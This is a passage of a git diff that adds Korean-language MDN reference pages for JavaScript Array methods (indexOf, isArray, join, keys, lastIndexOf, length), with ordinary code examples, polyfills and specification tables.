+ <dt>{{jsxref("Array.prototype.forEach()")}}</dt>
+ <dd>배열의 각각의 요소에 대해 콜백을 호출합니다.</dd>
+ <dt>{{jsxref("Array.prototype.keys()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 키를 가지는 새로운 배열 반복자 객체를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.map()")}}</dt>
+ <dd>배열의 모든 요소 각각에 대하여 주어진 콜백 함수를 호출하고, 그 반환값을 모은 새로운 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.reduce()")}}</dt>
+ <dd><span class="short_text" id="result_box" lang="ko"><span>주어진 콜백 함수를 가산기와 요소 각각에 대해 왼쪽에서 오른쪽으로 호출하여 하나의 값으로 줄인(reduce) 결과를 반환합니다.</span></span></dd>
+ <dt>{{jsxref("Array.prototype.reduceRight()")}}</dt>
+ <dd><span class="short_text" id="result_box" lang="ko"><span>주어진 콜백 함수를 가산기와 요소 각각에 대해 오른쪽에서 왼쪽으로 호출하여 하나의 값으로 줄인(reduce) 결과를 반환합니다.</span></span></dd>
+ <dt>{{jsxref("Array.prototype.some()")}}</dt>
+ <dd>배열의 어떤 요소가 주어진 판별 콜백을 만족할 경우 <code>true</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.values()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 값을 가지는 새로운 배열 반복자 객체를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 값을 가지는 새로운 배열 반복자 객체를 반환합니다.</dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열_생성">배열 생성</h3>
+
+<p>아래 예제는 길이 0의 배열 <code>msgArray</code> 을 생성하고, <code>msgArray[0]</code> 와 <code>msgArray[99]</code> 에 값을 할당하여, 배열의 길이를 100으로 변경합니다.</p>
+
+<pre class="brush: js">let msgArray = []
+msgArray[0] = 'Hello'
+msgArray[99] = 'world'
+
+if (msgArray.length === 100) {
+  console.log('The length is 100.')
+}</pre>
+
+<h3 id="2차원_배열_생성">2차원 배열 생성</h3>
+
+<p>아래의 예제는 2차원 문자열 배열로 체스보드를 생성합니다. 첫번째 이동은 (6,4)의 'p'를 (4,4)로 복사하여 이루어집니다. 이전 위치 (6,4)는 빈공간으로 만듭니다.</p>
+
+<pre class="brush: js">let board = [
+  ['R','N','B','Q','K','B','N','R'],
+  ['P','P','P','P','P','P','P','P'],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  ['p','p','p','p','p','p','p','p'],
+  ['r','n','b','q','k','b','n','r'] ]
+
+console.log(board.join('\n') + '\n\n')
+
+// Move King's Pawn forward 2
+board[4][4] = board[6][4]
+board[6][4] = ' '
+console.log(board.join('\n'))</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<pre class="eval">R,N,B,Q,K,B,N,R
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+p,p,p,p,p,p,p,p
+r,n,b,q,k,b,n,r
+
+R,N,B,Q,K,B,N,R
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , ,p, , ,
+ , , , , , , ,
+p,p,p,p, ,p,p,p
+r,n,b,q,k,b,n,r
+</pre>
+
+<h3 id="배열을_사용하여_일련의_값을_테이블처럼_표시하기">배열을 사용하여 일련의 값을 테이블처럼 표시하기</h3>
+
+<pre class="brush: js">const values = []
+for (let x = 0; x &lt; 10; x++){
+ values.push([
+  2 ** x,
+  2 * x ** 2
+ ])
+}
+console.table(values)</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<pre class="eval line-numbers  language-html">0    1    0
+1    2    2
+2    4    8
+3    8    18
+4    16    32
+5    32    50
+6    64    72
+7    128    98
+8    256    128
+9    512    162
+</pre>
+
+<p>(첫번째 열은 (인덱스))</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Initial publication</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array-objects', 'Array')}}</td>
+   <td>ECMAScript 1</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Indexing_object_properties">JavaScript Guide: “Indexing object properties”</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Predefined_Core_Objects#Array_Object">JavaScript Guide: “Predefined Core Objects: <code>Array</code> Object”</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions">Array comprehensions</a></li>
+ <li><a href="https://github.com/plusdude/array-generics">Polyfill for JavaScript 1.8.5 Array Generics and ECMAScript 5 Array Extras</a></li>
+ <li><a href="/en-US/docs/JavaScript_typed_arrays">Typed Arrays</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/indexof/index.html b/files/ko/web/javascript/reference/global_objects/array/indexof/index.html
new file mode 100644
index 0000000000..9748918d5a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/indexof/index.html
@@ -0,0 +1,196 @@
+---
+title: Array.prototype.indexOf()
+slug: Web/JavaScript/Reference/Global_Objects/Array/indexOf
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf
+---
+<div>{{JSRef}}</div>
+
+<p><code>indexOf()</code> 메서드는 배열에서 지정된 요소를 찾을 수 있는 첫 번째 인덱스를 반환하고 존재하지 않으면 -1을 반환합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 문자열은 {{jsxref("String.prototype.indexOf()")}}를 참고하세요.</p>
+</div>
+
+<p>{{EmbedInteractiveExample("pages/js/array-indexof.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.indexOf(<var>searchElement[, fromIndex]</var>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>배열에서 찾을 요소입니다.</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>검색을 시작할 색인입니다. 인덱스가 배열의 길이보다 크거나 같은 경우 -1이 반환되므로 배열이 검색되지 않습니다. 제공된 색인 값이 음수이면 배열 끝에서부터의 오프셋 값으로 사용됩니다. 참고 : 제공된 색인이 음수이면 배열은 여전히 앞에서 뒤로 검색됩니다. 계산 된 인덱스가 0보다 작 으면 전체 배열이 검색됩니다. 기본값 : 0 (전체 배열 검색).</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열 내의 요소의 최초의 인덱스. 발견되지 않으면 -1.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>indexOf()</code>는 엄격한 동등성 (<code>===</code> 또는 triple-equals 연산자에서 사용하는 것과 같은 메서드)을 사용하여 검색 요소를 <code>Array</code>의 요소와 비교합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="indexOf_사용하기"><code>indexOf()</code> 사용하기</h3>
+
+<p>다음 예제에서는 indexOf ()를 사용하여 배열의 값을 찾습니다.</p>
+
+<pre class="brush: js">var array = [2, 9, 9];
+array.indexOf(2);     // 0
+array.indexOf(7);     // -1
+array.indexOf(9, 2);  // 2
+array.indexOf(2, -1); // -1
+array.indexOf(2, -3); // 0
+</pre>
+
+<h3 id="요소의_모든_항목_찾기">요소의 모든 항목 찾기</h3>
+
+<pre class="brush: js">var indices = [];
+var array = ['a', 'b', 'a', 'c', 'a', 'd'];
+var element = 'a';
+var idx = array.indexOf(element);
+while (idx != -1) {
+  indices.push(idx);
+  idx = array.indexOf(element, idx + 1);
+}
+console.log(indices);
+// [0, 2, 4]
+</pre>
+
+<h3 id="요소가_배열에_존재하는지_확인하고_배열을_업데이트">요소가 배열에 존재하는지 확인하고 배열을 업데이트</h3>
+
+<pre class="brush: js">function updateVegetablesCollection (veggies, veggie) {
+    if (veggies.indexOf(veggie) === -1) {
+        veggies.push(veggie);
+        console.log('새로운 veggies 컬렉션 : ' + veggies);
+    } else if (veggies.indexOf(veggie) &gt; -1) {
+        console.log(veggie + ' 은 이미 veggies 컬렉션에 존재합니다.');
+    }
+}
+
+var veggies = ['potato', 'tomato', 'chillies', 'green-pepper'];
+
+updateVegetablesCollection(veggies, 'spinach');
+// 새로운 veggies 컬렉션 : potato, tomato, chillies, green-pepper, spinach
+updateVegetablesCollection(veggies, 'spinach');
+// spinach 은 이미 veggies 컬렉션에 존재합니다.
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">// ECMA-262, 제 5 판, 15.4.4.14의 생산 단계
+// 참조 : http://es5.github.io/#x15.4.4.14
+if (!Array.prototype.indexOf) {
+  Array.prototype.indexOf = function(searchElement, fromIndex) {
+
+    var k;
+
+    // 1. 이 값을 인수로 전달하는 ToObject를 호출 한 결과를
+    // o라고합니다.
+    if (this == null) {
+      throw new TypeError('"this" is null or not defined');
+    }
+
+    var o = Object(this);
+
+    // 2. lenValue를 Get 함수를 호출 한 결과로 둡니다.
+     // 인수가 "length"인 o의 내부 메소드.
+     // 3. len을 ToUint32 (lenValue)로 지정합니다.
+    var len = o.length &gt;&gt;&gt; 0;
+
+    // 4. len이 0이면 -1을 반환합니다.
+    if (len === 0) {
+      return -1;
+    }
+
+    // 5.Index에서 인수가 전달 된 경우 n을
+    // ToInteger (fromIndex); 그렇지 않으면 n은 0이됩니다.
+    var n = fromIndex | 0;
+
+    // 6. If n &gt;= len, return -1.
+    if (n &gt;= len) {
+      return -1;
+    }
+
+   // 7. n&gt; = 0 인 경우 k를 n이라고 합니다.
+   // 8. 그렇지 않으면 n &lt;0, k는 len - abs (n)이됩니다.
+   // k가 0보다 작은 경우 k를 0으로 만듭니다.
+    k = Math.max(n &gt;= 0 ? n : len - Math.abs(n), 0);
+
+    // 9. k &lt;len 인 동안 반복한다.
+    while (k &lt; len) {
+       // a. Pk를 ToString (k)이라고합시다.
+       // 이것은 in 연산자의 LHS 피연산자에 대해 암시 적입니다.
+       // b. kPresent를 호출 한 결과라고합시다.
+       // Hasproperty 인수에 Pk가있는 o의 내부 메소드.
+       //이 단계는 c와 결합 될 수 있습니다.
+       // c. kPresent가 참이면
+       // i. elementK를 Get을 호출 한 결과로합시다.
+       // ToString (k) 인수를 가진 o의 내부 메쏘드.
+       // ii. 적용한 결과와 동일하게 봅시다.
+       // 엄격한 평등 비교 알고리즘
+       // searchElement 및 elementK.
+       // iii. 동일하면 k를 반환합니다.
+      if (k in o &amp;&amp; o[k] === searchElement) {
+        return k;
+      }
+      k++;
+    }
+    return -1;
+  };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.14', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.indexOf")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/isarray/index.html b/files/ko/web/javascript/reference/global_objects/array/isarray/index.html
new file mode 100644
index 0000000000..0a3a074a3d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/isarray/index.html
@@ -0,0 +1,131 @@
+---
+title: Array.isArray()
+slug: Web/JavaScript/Reference/Global_Objects/Array/isArray
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Reference
+  - polyfill
+  - 자바스크립트
+  - 폴리필
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Array.isArray()</strong></code> 메서드는 인자가 {{jsxref("Array")}}인지 판별합니다.</p>
+
+<pre><code>Array.isArray([1, 2, 3]);  // true
+Array.isArray({foo: 123}); // false
+Array.isArray('foobar');   // false
+Array.isArray(undefined);  // false</code>
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Array.isArray(<var>obj</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>검사할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체가 {{jsxref("Array")}}라면 <code>true</code>, 아니라면 <code>false</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>객체가 {{jsxref("Array")}}라면 <code>true</code>를 반환하고, 아니라면 <code>false</code>를 반환합니다.</p>
+
+<p>자세한 정보는 <a href="http://web.mit.edu/jwalden/www/isArray.html">“Determining with absolute accuracy whether or not a JavaScript object is an array”</a>(자바스크립트 객체가 배열인지 정확히 판별하는 방법) 문서를 참조하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre><code>// 모두 true 반환
+Array.isArray([]);
+Array.isArray([1]);
+Array.isArray(new Array());
+Array.isArray(new Array('a', 'b', 'c', 'd'));
+Array.isArray(new Array(3));
+// Array.prototype은 스스로도 배열입니다
+Array.isArray(Array.prototype);
+
+// 모두 false 반환
+Array.isArray();
+Array.isArray({});
+Array.isArray(null);
+Array.isArray(undefined);
+Array.isArray(17);
+Array.isArray('Array');
+Array.isArray(true);
+Array.isArray(false);
+Array.isArray({ __proto__: Array.prototype });</code></pre>
+
+<h3 id="instanceof_vs_isArray"><code>instanceof</code> vs <code>isArray</code></h3>
+
+<p><code>Array</code> 객체를 판별할 때, <code>Array.isArray</code>는 <code>iframe</code>을 통해서도 작동하기 때문에 <code>instanceof</code> 보다 적합합니다.</p>
+
+<pre><code>var iframe = document.createElement('iframe');
+document.body.appendChild(iframe);
+xArray = window.frames[window.frames.length-1].Array;
+var arr = new xArray(1,2,3); // [1,2,3]
+
+// 올바른 Array 판별
+Array.isArray(arr);  // true
+// iframe을 통해서 작동하지 않기 때문에 올바르지 않은 방법
+arr instanceof Array; // false</code>
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>아래 코드를 실행하면 지원하지 않는 환경에서도 <code>Array.isArray()</code>를 사용할 수 있습니다.</p>
+
+<pre class="brush: js">if (!Array.isArray) {
+  Array.isArray = function(arg) {
+    return Object.prototype.toString.call(arg) === '[object Array]';
+  };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초안. 자바스크립트 1.8.5 에 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.isarray', 'Array.isArray')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.isArray")}}</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/join/index.html b/files/ko/web/javascript/reference/global_objects/array/join/index.html
new file mode 100644
index 0000000000..7a78c568ab
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/join/index.html
@@ -0,0 +1,91 @@
+---
+title: Array.prototype.join()
+slug: Web/JavaScript/Reference/Global_Objects/Array/join
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/join
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>join()</strong></code> 메서드는 배열의 모든 요소를 연결해 하나의 문자열로 만듭니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-join.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.join([<var>separator</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>separator</code> {{optional_inline}}</dt>
+ <dd>배열의 각 요소를 구분할 문자열을 지정합니다. 이 구분자는 필요한 경우 문자열로 변환됩니다. 생략하면 배열의 요소들이 쉼표로 구분됩니다. <code>separator</code>가 빈 문자열이면 모든 요소들이 사이에 아무 문자도 없이 연결됩니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열의 모든 요소들을 연결한 하나의 문자열을 반환합니다. 만약 <code><em>arr</em>.length</code> 가 <code>0</code>이라면, 빈 문자열을 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 배열 요소가 문자열로 변환된 다음 하나의 문자열로 연결됩니다.</p>
+
+<div class="blockIndicator warning">
+<p>요소가 <code>undefined</code> 또는 <code>null</code>이면 빈 문자열로 변환합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="네_가지_다른_방법으로_배열_연결하기">네 가지 다른 방법으로 배열 연결하기</h3>
+
+<p>다음 예제에서는 3개의 요소를 가진 배열 <code>a</code>를 만들고, 기본 구분자, 쉼표와 공백, 더하기 기호, 빈 문자열의 네 가지 구분자를 사용해 배열을 연결합니다.</p>
+
+<pre class="brush: js">var a = ['바람', '비', '불'];
+var myVar1 = a.join();      // myVar1에 '바람,비,불'을 대입
+var myVar2 = a.join(', ');  // myVar2에 '바람, 비, 불'을 대입
+var myVar3 = a.join(' + '); // myVar3에 '바람 + 비 + 불'을 대입
+var myVar4 = a.join('');    // myVar4에 '바람비불'을 대입
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">표준</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>최초 정의.  JavaScript 1.1에 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.5', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.join', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.join")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.join()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/keys/index.html b/files/ko/web/javascript/reference/global_objects/array/keys/index.html
new file mode 100644
index 0000000000..4afb826a3e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/keys/index.html
@@ -0,0 +1,69 @@
+---
+title: Array.prototype.keys()
+slug: Web/JavaScript/Reference/Global_Objects/Array/keys
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/keys
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>keys()</strong></code> 메서드는 배열의 각 인덱스를 키 값으로 가지는 새로운 <code><strong>Array Iterator</strong></code> 객체를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-keys.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.keys()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{jsxref("Array")}} 반복기 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="키_반복기는_빈_인덱스를_무시하지_않음">키 반복기는 빈 인덱스를 무시하지 않음</h3>
+
+<pre><code>var arr = ['a', , 'c'];
+var sparseKeys = Object.keys(arr);
+var denseKeys = [...arr.keys()];
+console.log(sparseKeys); // ['0', '2']
+console.log(denseKeys);  // [0, 1, 2]</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.keys")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/lastindexof/index.html b/files/ko/web/javascript/reference/global_objects/array/lastindexof/index.html
new file mode 100644
index 0000000000..7e1519ae78
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/lastindexof/index.html
@@ -0,0 +1,103 @@
+---
+title: Array.prototype.lastIndexOf()
+slug: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>lastIndexOf()</code></strong> 메서드는 배열에서 주어진 값을 발견할 수 있는 마지막 인덱스를 반환하고, 요소가 존재하지 않으면 -1을 반환합니다. 배열 탐색은 <code>fromIndex</code>에서 시작하여 뒤로 진행합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-lastindexof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.lastIndexOf(<var>searchElement[</var>, <var>fromIndex]</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>배열에서 찾을 요소.</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>역순으로 검색을 시작할 인덱스. 배열의 길이에서 1을 뺀 값(<code>arr.length - 1</code>)이 기본값이므로 지정하지 않을 경우 전체 배열을 검색합니다. 주어진 값이 배열의 길이 이상이면 전체 배열을 검색합니다. 값이 음수인 경우, 배열의 마지막부터 시작하는 인덱스로 처리합니다. 다만, 음수를 제공하더라도 검색 순서는 뒤에서 앞입니다. 위의 모든 절차를 거친 최종 계산값이 0 미만인 경우, <code>lastIndexOf()</code>는 항상 -1을 반환합니다. 즉, 배열을 탐색하지 않습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값과 일치하는 마지막 요소의 인덱스, 없으면 -1.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>lastIndexOf</code>는 일치 연산(<code>===</code> 연산자와 동일)을 사용해 <code>searchElement</code>와 각 요소를 비교합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="lastIndexOf_사용하기"><code>lastIndexOf</code> 사용하기</h3>
+
+<p>다음 예제에서는 <code>lastIndexOf</code>를 사용하여 배열의 값을 찾습니다.</p>
+
+<pre class="brush: js">var array = [2, 5, 9, 2];
+array.lastIndexOf(2);     // 3
+array.lastIndexOf(7);     // -1
+array.lastIndexOf(2, 3);  // 3
+array.lastIndexOf(2, 2);  // 0
+array.lastIndexOf(2, -2); // 0
+array.lastIndexOf(2, -1); // 3
+</pre>
+
+<h3 id="요소의_모든_항목_찾기">요소의 모든 항목 찾기</h3>
+
+<p>다음 예제에서는 <code>lastIndexOf</code>를 사용하여 {{jsxref("Array.prototype.push", "push")}}를 사용하여 지정된 배열의 요소 색인을 모두 찾아서 다른 배열에 추가합니다.</p>
+
+<pre class="brush: js">var indices = [];
+var array = ['a', 'b', 'a', 'c', 'a', 'd'];
+var element = 'a';
+var idx = array.lastIndexOf(element);
+while (idx != -1) {
+  indices.push(idx);
+  idx = (idx &gt; 0 ? array.lastIndexOf(element, idx - 1) : -1);
+}
+
+console.log(indices);
+// [4, 2, 0]
+</pre>
+
+<p>배열의 첫 번째 요소 인 경우 요소가 fromIndex 매개 변수와 관계없이 항상 발견되므로 idx == 0 사례를 여기에서 개별적으로 처리해야합니다. 이는 {{jsxref ( "Array.prototype.indexOf", "indexOf")}} 메소드와 다릅니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.lastIndexOf")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/length/index.html b/files/ko/web/javascript/reference/global_objects/array/length/index.html
new file mode 100644
index 0000000000..b241e88045
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/length/index.html
@@ -0,0 +1,135 @@
+---
+title: Array.length
+slug: Web/JavaScript/Reference/Global_Objects/Array/length
+tags:
+  - Array
+  - JavaScript
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/length
+---
+<div>{{JSRef}}</div>
+
+<p><code>Array</code> 인스턴스의 <code><strong>length</strong></code> 속성은 배열의 길이를 반환합니다. 반환값은 부호 없는 32비트 정수형이며, 배열의 최대 인덱스보다 항상 큽니다. <strong><code>length</code></strong> 속성에 값을 설정할 경우 배열의 길이를 변경합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-length.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p><code>length</code> 속성의 값은 양의 정수이며 2<sup>32</sup> 미만의 값을 가집니다.</p>
+
+<pre class="brush: js line-numbers  language-js">var namelistA = new Array(4294967296); // 2의 32제곱 = 4294967296
+var namelistC = new Array(-100) // 음수
+
+console.log(namelistA.length); // RangeError: Invalid array length
+console.log(namelistC.length); // RangeError: Invalid array length
+
+var namelistB = [];
+namelistB.length = Math.pow(2,32)-1; // 길이를 2의 32제곱 미만으로 설정
+console.log(namelistB.length);
+
+// 4294967295</pre>
+
+<p>아무 때나 <code>length</code> 속성에 값을 설정해 배열을 절단할 수 있습니다. <code>length</code> 속성으로 배열의 길이를 늘리면 실제 원소의 수가 증가합니다. 예를 들어 길이가 2인 배열의 <code>length</code>를 3으로 설정한다면 마지막에 <code>undefined</code>가 추가돼 총 3개의 요소를 갖게 됩니다.</p>
+
+<pre class="brush: js line-numbers  language-js">var arr = [1, 2, 3];
+printEntries(arr);
+
+arr.length = 5; // set array length to 5 while currently 3.
+printEntries(arr);
+
+function printEntries(arr) {
+  var length = arr.length;
+  for (var i = 0; i &lt; length; i++) {
+    console.log(arr[i]);
+  }
+  console.log('=== printed ===');
+}
+
+// 1
+// 2
+// 3
+// === printed ===
+// 1
+// 2
+// 3
+// undefined
+// undefined
+// === printed ===
+</pre>
+
